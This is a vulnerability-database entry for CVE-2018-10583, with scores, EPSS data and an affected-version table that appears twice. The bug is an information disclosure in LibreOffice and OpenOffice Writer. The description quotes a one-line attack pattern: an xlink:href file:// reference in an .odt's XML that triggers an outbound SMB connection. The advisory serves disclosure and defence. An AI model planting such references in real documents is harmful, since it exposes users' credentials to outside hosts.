CVE-2018-10583

2018-05-0116:29:00

Google

osv.dev

7.4 High

AI Score

Confidence

High

0.171 Low

EPSS

Percentile

96.1%

JSON

An information disclosure vulnerability occurs when LibreOffice 6.0.3 and Apache OpenOffice Writer 4.1.5 automatically process and initiate an SMB connection embedded in a malicious file, as demonstrated by xlink:href=file://192.168.0.2/test.jpg within an office:document-content element in a .odt XML document.

CPENameOperatorVersion
coreeqlibreoffice-5-2-branch-point
coreeqcp-4.1-5
coreeqlibreoffice-5-1-branch-point
coreeqcp-4.1-3
coreeqlibreoffice-3.5.0.0
coreeqlibreoffice-4-3-branch-point
coreeqcp-6.0-3
coreeqlibreoffice-6-0-branch-point
coreeqcp-6.0-2
coreeqgpg4libre-review-5.4.99

Name	Operator	Version
core	eq	libreoffice-5-2-branch-point
core	eq	cp-4.1-5
core	eq	libreoffice-5-1-branch-point
core	eq	cp-4.1-3
core	eq	libreoffice-3.5.0.0
core	eq	libreoffice-4-3-branch-point
core	eq	cp-6.0-3
core	eq	libreoffice-6-0-branch-point
core	eq	cp-6.0-2
core	eq	gpg4libre-review-5.4.99